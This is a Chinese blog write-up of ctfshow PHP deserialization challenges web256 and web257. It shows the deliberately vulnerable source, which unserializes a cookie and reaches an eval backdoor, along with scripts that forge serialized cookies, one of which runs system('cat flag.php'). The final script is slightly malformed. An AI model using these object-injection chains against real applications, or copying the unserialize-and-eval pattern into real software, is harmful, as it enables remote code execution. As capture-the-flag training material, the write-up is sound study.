web256-257

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

对于上一题,这题关键点在于让username不等于password

因为在类中都是单独用===比较,所以只需要将username重新赋值就好,最后再序列化编码输出

<?php
class ctfShowUser{
    public $username = 'asdfgh';
    public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22asdfgh%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

最后如果没有cookie信息,就抓包后自行添加,然后GET方法传入username和password参数,就可以获得flag

web257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

代码审计

这个源码一共定义了三个类:

ctfshowuser类

类中设定了四个私有属性(表示只有在当前类中才能使用)

使用了两个php魔术方法:

  • __construct(在类被实例化后自动调用)将 $class 属性设置为 info 类的实例。

  • __destruct()(在类被销毁时被自动调用) 指向class的getInfo() 方法。因为class已经被赋值为info类的实例,则表示当前类销毁时,调用info类中的getInfo() 方法

info类和baseDoor类

info类主要是定义了一个user的私有属性的初值,getinfo方法的目的是返回user属性值

backDoor类定义了一个私有属性code和一个公共方法getinfo,作用是eval代码执行

解题步骤

根据以上代码审计,我们知道,要获得flag就要使用backDoor类的getinfo方法,去造成代码执行

我们得知反序列化结束就会,调用getInfo方法,不过是info类中的getinfo方法

php反序列化不能改变类的方法,但是可以更改类的属性去达成我们的目的

简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    #除了$class都用不到
    private $class = 'info';
    
    public function __construct(){
        $this->class=new info(); 
#因为我们要使用backDoor类的getinfo,所以我们可以将这里的info改为backDoor

    }
#无用
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
#无用
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
#要用的类,通过控制$code的值造成,任意代码执行
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
#最终代码
<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor(); 
#因为我们要使用backDoor类的getinfo,所以我们可以将这里的info改为backDoor
    }
}
#要用的类,通过控制$code的值造成,任意代码执行
class backDoor{
    private $code = 'system("cat flag.php");'; 或者使用tac

    }
echo urlencode(serialize(new ctfShowUser()));

?>

tac是cat的相反方法:

表示反序输出文件的内容,文件的最后一行显示在第一行,它可以对调试日志文件提供了很大的帮助,扭转日志内容的时间顺序。

一开始查看wp我也不知道为啥要用tac,不用cat。直到我坚持使用cat,结果页面没有回显

但是在最后回想起可能在源码中,结果真在,tac只是将最后一行作为第一行显示出来

tac的在最后一行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值